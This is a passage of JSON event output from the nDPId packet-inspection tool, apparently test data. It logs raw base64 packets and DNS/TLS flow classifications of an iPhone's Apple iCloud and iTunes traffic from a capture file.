4sfoK1iGkW\/FgzGkaxFUGUBYbNxMEx6GG1JtJkdFbPddso6jO9mL3IJXxGRe2gGpGY52elc32wlww=="} +00425{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":716631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysAAAFAsleu1m7UvhoAQCAtPjQAAAQEIChHf6JMdNCUm"} +00425{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":716744,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysAAAFAsleu1m7Uvh4AQCAtPiwAAAQEIChHf6JMdNCUn"} +00425{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":716890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZFvAqAIREYICLsWRAbsZOu0d368Q44AQA\/Rb3QAAAQEIChHf6Jq1T9KB"} +00425{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":716905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZFvAqAIREYICLsWRAbsZOu0d368TuYAQA+5ZDQAAAQEIChHf6Jq1T9KB"} +00428{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":717341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysWSAbt\/OquS8vq1KoAQA\/RrcQAAAQEIChHf6KCK\/qkY"} +00428{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":717448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/EPAqAIREf1pysWSAbt\/OquS8vq5WYAQA+xnSgAAAQEIChHf6KCK\/qkY"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":155,"source":"iphone.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1582454598721,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.87","src_port":50581,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":721885,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGrK\/AqAIREfi5V8WVAbuoGt7oAAAAALDC\/\/9fVwAAAgQFtAEDAwcBAQgKEd\/opwAAAAAEAgAA"} +00424{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":723398,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WUAbuGKOrEAHfVYYAQBAuCrAAAAQEIChHf6IhbEwd4"} +01126{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":723584,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGs8DAqAIREfiwS8WUAbuGKOrEAHfVYYAYBAvpygAAAQEIChHf6IhbEwd4FgMBAgABAAH8AwMzFRfGYqEP+F2R9Wbx8vDWDUZY+c8QBvM8\/0aM\/WEb9iAqPOeRwqVGvKjyGH\/94GF\/v\/oQUTEAuuxnTPPcBfvphwA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABcAFQAAEmdhdGV3YXkuaWNsb3VkLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACDRnQWWCbYOcip82sNQrIRN4GlIi3Ilb2X7z1S+9ioubgAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":157,"source":"iphone.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":4,"flow_first_seen":1582454598587,"flow_last_seen":1582454598723,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50580,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00553{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":741873,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkxGGLNYKpCABFAgCRAABAAEAGY\/zAqAIREYICLsWRAbsZOu0d368TuYAYBACs0QAAAQEIChHf6LK1T9KBFgMDACUQAAAhIMgVY244BOxiKd2+gdbWzkS7fU3yOL5z306xpubGDQ9tFAMDAAEBFgMDACgAAAAAAAAAAFM42iq4K3c4kd2q4XVvp0HV7UIJJNofTiIO8GDsfdpQ"} +00496{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":743615,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAgBnf0kAADEGfAgR+LmMwKgCEQG7xY+mDI1LDeq5N4AYA6v8uAAAAQEICvbpoBoR3+gmFAMDAAEBFgMDACgAAAAAAAAAAA3b\/qASlfy2I37M+RYMkmQWZE0T6Nz1drAnpgD2lscA"} +00519{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":744914,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkxGGLNYKpCABFAgB0AABAAEAG\/AHAqAIREf1pysWSAbt\/OquS8vq5WYAYBACILwAAAQEIChHf6LyK\/qkYFAMDAAEBFwMDADXYj6OcZ3754e+7+OU9dS\/mOMB0szbGNwTAiR9oKCscWnhKPEGDnnP7csWGx3lccKumqgrS5w=="} +00930{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":749982,"pkt_caplen":438,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":438,"pkt_l4_len":404,"pkt":"xiwDYGpkxGGLNYKpCABFAgGoAABAAEAG+s3AqAIREf1pysWSAbt\/OqvS8vq5WYAYBADp0QAAAQEIChHf6MGK\/qkYFwMDAW8XkiUsYdYi4gEEa2p68y7q4YhYQpyIHWBtUEdZgKR1xQJYD95SJvWcSz9AjF0XFzi9f5Yt16P5Jt6A5qBRaFQr1j1Cidj18IkTxiP+IkbyhEMBdVazel4aEjmsF25cWkJQCJwM8IvAQfFKSQUPR0OZZqsPqV2z75y8WPhJY\/qSCWX1RvDg3iW+HxYiOXnRc5PUwXNqRkstGMvU+KqXEbS3CMGIIEoALID4B7LFZ3\/6fIiygspycqOzDYnr4nbL1vAp+57KUkf4kKFi5jvsXGq+hR6h5BAa+8bisfma+Q5FOnKBSiWwDnFeMuCVWmcQuak0PP8WPEwIhtoyLBv\/8Angr4IasK2GbOVDB0UUsClgzkfPTx9GvxPu1lYcp0cxWG+p6D67tYFcvXTBKYLCnnSvhghozZf+mqQ4vSUeudb3w+KlkPt5BbVYoUHi0K+LXSTVBHiWoCnAutHnJ5QP972YFx\/7oo+4R3CgEKJOVAUl"} +00822{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":750143,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"xGGLNYKpxiwDYGpkCABFAgFTnToAADIGq+gR\/WnKwKgCEQG7xZNpWOPQMiTy5YAYAHoBwQAAAQEICgAfwesR3+g0FwMDARq+JSDaRuo+lztnEnUWNlmvEejTm\/rSgA7jki+ozt4tIa7R4HICQeNtqEXmAxGGqSQO+vO1AWhCKAqGpNvwQ\/DjSJStxGhPn\/ZbQ44ftmvtluqTFBcrA3amnQkX2rpB\/muOY6S+ZEcc0AhAcCIRa7I8jX8B2TvR1SNcYKYLmQr7ulNaEiOZsy6ptx0Hn\/LR1vkXv+ujcFBz2emPm3m42MqE8ucZwxo+ZODwLM20aF+WpV0iAcqRW9apkNSDwM1an7rTZeah\/ieEW372juJvpMcRPNCo0nA3U4svluGUwkCCLXs6zaFvFXQWXdzExXM2CAXznJU2mdJVlwezkf29\/Zfoz0a4vVtRnCVjzFCWv9rcrQ9C1AK3\/\/abAgo="} +00818{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":750162,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"xGGLNYKpxiwDYGpkCABFAgFTnTsAADIGq+cR\/WnKwKgCEQG7xZNpWOTvMiTy5YAYAHo5DgAAAQEICgAfwesR3+g0FwMDARoZg5XzV2Lq7mj5iENSHRiOLkiIAFoq5umDQO7qzim0N3bAMypLvXQRo1r\/N5QhKSnRsHJkM\/3scna6z3OFBMsPsUTmotdBv6D1iV3wCK7vZFrB5tU5Knswt7kok8B3w5SLRfb\/DJYGcjstngikuVZYQ0MVSaUrSfMJck9CNCMue0Is7TuLDqimsYkLWmNxjg44dZpCBnCwDBcP4Aa3eGPyVwpNds2HJ1MIpMNWUNaSU+JpipohhHUAU0YTkB15jBd8\/uAa5NDqfSHZzsKUZLUcThc0WLv5s2XE\/CtZX2QobcEmkMPMrRqAxZDErlYnA8u4gKhrevhFjLoscdgfCiGY1r5tQBZRpI5sLscfE89WKHiplZLXaK0V1j4="} +00886{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":750163,"pkt_caplen":400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":400,"pkt_l4_len":366,"pkt":"xGGLNYKpxiwDYGpkCABFAgGCnTwAADIGq7cR\/WnKwKgCEQG7xZNpWOYOMiTy5YAYAHr1DQAAAQEICgAfwesR3+g0FwMDAUnKKE8e2ns1f1p0yy0o+Un10LeAt71v0yfIhKXtXabWiuP7XXOmjrkV\/6hW81IdokPFseiMKELXm3nQDYzd6L6iRvROne2AEE9vZKKecN6\/BW9W3xGATx7fplygap6F0oV175GcwF6Eit9DP0jHfoC7EfUaQ81eRI+En\/lsQ16FTLWHP7tLP3UkLDuKaMwXaLvdl3BnWWbF\/oLjOF9WH8pD+4MaI7Q7zOXqlpDqxUUyXuSQcoF6y69yWkwCt3OoguqJ19046xQ2f2310NUduykPIqkmiPY448CziBiApbcW\/BzjKVR6tt5KtC1NCvBzz0WF\/RbJvg4+FF9JInqd1kV8rk9\/jWxCqlVStbupDtL0dLI\/k9JLkG3ghyEQkQCGuITPx2WQ2AzPUAKxq0F7Fv74qMZxgDU5DSn5Iv6\/yC7CkBen9DxiMsTIJg=="} +00611{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":755439,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"xGGLNYKpxiwDYGpkCABFAAC9YWUAAEARk2jAqAIBwKgCEQA1zcoAqUkOwemBgAABAAQAAAAAA3d3dwZpY2xvdWQDY29tAAABAAHADAAFAAEAAAfiAB8Hd3d3LWNkbgZpY2xvdWQDY29tBmFrYWRucwNuZXQAwCwABQABAAAAjwAZA3d3dwZpY2xvdWQDY29tB2VkZ2VrZXnARsBXAAUAAQAAEZYAFQVlNDQ3OAFhCmFrYW1haWVkZ2XARsB8AAEAAQAAABgABBctSi4="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":172,"source":"iphone.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598755,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":40,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":52682,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiCloud","breed":"Acceptable","category":"Web"},"dns": {"query":"www.icloud.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.45.74.46"}} +00640{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":756296,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"xGGLNYKpxiwDYGpkCABFAADSfP0AAEARd7vAqAIBwKgCEQA10EUAvrFqiY6BgAABAAQAAAAACWlwaG9uZS1sZAVhcHBsZQNjb20AAAEAAcAMAAUAAQAACaQAJwlpcGhvbmUtbGQMb3JpZ2luLWFwcGxlA2NvbQZha2FkbnMDbmV0AMAxAAUAAQAAAMcAIQxpcGhvbmUtbGQtYXIFYXBwbGUDY29tB2VkZ2VrZXnAU8BkAAUAAQAAEZYAFQVlOTMzOAFkCmFrYW1haWVkZ2XAU8CRAAEAAQAAAA8ABFx6\/FI="} +00662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":173,"source":"iphone.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598756,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":45,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53317,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"iphone-ld.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"92.122.252.82"}} +00519{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":756503,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5PvQAAEARth3AqAIBwKgCEQA1+ssAZUgsu2OBgAABAAAAAQAACmJhc2VqdW1wZXIFYXBwbGUDY29tAAABAAHAFwAGAAEAAADfACsHbnNlcnZlcsAXCmhvc3RtYXN0ZXLAF3fP6nAAAAOEAAADhAAewwAAADhA"} +00656{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":174,"source":"iphone.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598756,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":46,"flow_max_l4_data_len":101,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":64203,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"basejumper.apple.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00424{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":757085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0AqYAAC4GBSIR+LBLwKgCEQG7xZQAd9VhhijsyYAQA6uAfwAAAQEIClsTCAAR3+iI"} +00635{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":758732,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"xGGLNYKpxiwDYGpkCABFAADPyEMAAEARLHjAqAIBwKgCEQA195EAu7eFj7GBgAABAAQAAAAAA2JhZwZpdHVuZXMFYXBwbGUDY29tAAABAAHADAAFAAEAABGWACYIaW5pdC1jZG4MaXR1bmVzLWFwcGxlA2NvbQZha2FkbnMDbmV0AMAyAAUAAQAAC+cAGwZpdHVuZXMFYXBwbGUDY29tB2VkZ2VrZXnAU8BkAAUAAQAAEZYAGARlNjczBWRzY2U5CmFrYW1haWVkZ2XAU8CLAAEAAQAAABcABF9lGDU="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":177,"source":"iphone.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598758,"flow_tot_l4_data_len":233,"flow_min_l4_data_len":46,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":116,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":63377,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"bag.itunes.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"95.101.24.53"}} +00635{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":758813,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"xGGLNYKpxiwDYGpkCABFAADPdQkAAEARf7LAqAIBwKgCEQA10t8AuwWPZlqBgAABAAQAAAAAA2JhZwZpdHVuZXMFYXBwbGUDY29tAAABAAHADAAFAAEAABGWACYIaW5pdC1jZG4MaXR1bmVzLWFwcGxlA2NvbQZha2FkbnMDbmV0AMAyAAUAAQAAC+cAGwZpdHVuZXMFYXBwbGUDY29tB2VkZ2VrZXnAU8BkAAUAAQAAEZYAGARlNjczBWRzY2U5CmFrYW1haWVkZ2XAU8CLAAEAAQAAABcABF9lGDU="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":178,"source":"iphone.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":2,"flow_first_seen":1582454598713,"flow_last_seen":1582454598758,"flow_tot_l4_data_len":233,"flow_min_l4_data_len":46,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":116,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":53983,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AppleiTunes","breed":"Fun","category":"Streaming"},"dns": {"query":"bag.itunes.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"95.101.24.53"}} +02358{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":759177,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUAqcAAC4G\/34R+LBLwKgCEQG7xZQAd9VhhijsyYAQA6t2dwAAAQEIClsTCAER3+iIFgMDAGgCAABkAwM1ZBgu0yS9bOcmbk0kGdrgxoQLKwV86Gi2S+QsS9zQLyB3UDw5CeZVXrBBqV2A2Nt5TbK\/3sasXZSQbppEORT6eMAsAAAcAAAAAP8BAAEAAAUAAAALAAIBAAAQAAUAAwJoMhYDAww4CwAMNAAMMQAH5zCCB+MwggbLoAMCAQICECDrGNnhMGOJ5gckndI1GuowDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE5MTAwODE4NDYxNFoXDTIwMTEwNjE4NTYwMFowVDEbMBkGA1UEAwwSZ2F0ZXdheS5pY2xvdWQuY29tMRMwEQYDVQQKDApBcHBsZSBJbmMuMRMwEQYDVQQIDApDYWxpZm9ybmlhMQswCQYDVQQGEwJVUzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABA3JTXZEMDNfkBeddGFOfWVcUMoJ8W7d3ST3e3HiTTWw27hpoGkazdY\/uyqetayMkeP9ioDxEA8PxI4fVx9gMvajggVsMIIFaDAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMH4GCCsGAQUFBwEBBHIwcDA0BggrBgEFBQcwAoYoaHR0cDovL2NlcnRzLmFwcGxlLmNvbS9hcHBsZWlzdGNhMmcxLmRlcjA4BggrBgEFBQcwAYYsaHR0cDovL29jc3AuYXBwbGUuY29tL29jc3AwMy1hcHBsZWlzdGNhMmcxMjUwgY0GA1UdEQSBhTCBgoIYZ2F0ZXdheS1pbmRpYS5pY2xvdWQuY29tghhnYXRld2F5LWNhcnJ5LmljbG91ZC5jb22CEmdhdGV3YXkuaWNsb3VkLmNvbYIcZ2F0ZXdheS1hdXN0cmFsaWEuaWNsb3VkLmNvbYIaZ2F0ZXdheS1zYW5kYm94LmljbG91ZC5jb20wgf8GA1UdIASB9zCB9DCB8QYKKoZIhvdjZAULBDCB4jCBpAYIKwYBBQUHAgIwgZcMgZRSZWxpYW5jZSBvbiB0aGlzIGNlcnRpZmljYXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgYW55IGFwcGxpY2FibGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgb2YgdXNlIGFuZC9vciBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMDkGCCsGAQUFBwIBFi1odHRwOi8vd3d3LmFwcGxlLmNvbS9jZXJ0aWZpY2F0ZWF1dGhvcml0eS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwNwYDVR0fBDAwLjAsoCqgKIYmaHR0cDovL2NybC5hcHBsZS5jb20vYXBwbGVpc3RjYTJnMS5jcmwwHQYDVR0OBBYEFDcTKYxfoGNbyxqPKQFc6\/l8HBeZMA4GA1UdDwEB\/wQEAwIDiDARBgsqhkiG92NkBhsPAgQCBQAwEQYLKoZIhvdjZAYbCwIEAgUAMBEGCyqGSIb3Y2QGGwcCBAIFADCCAm0GCisGAQQB1nkCBAIEggJdBIICWQJXAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFtrLqfoQAABAMARjBEAiBcyMXSqYu\/NQzPC1eks2fF3nNBwnRpvtSQ93jt9Y6FxAIgQAGZ6hMU0FVYk\/U5Nz\/IH+LWui0mpLb1ikJAbD2uT7kAdwCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAW2sup+hAAAEAwBI"} +00850{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":179,"source":"iphone.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":6,"flow_first_seen":1582454598587,"flow_last_seen":1582454598759,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50580,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": 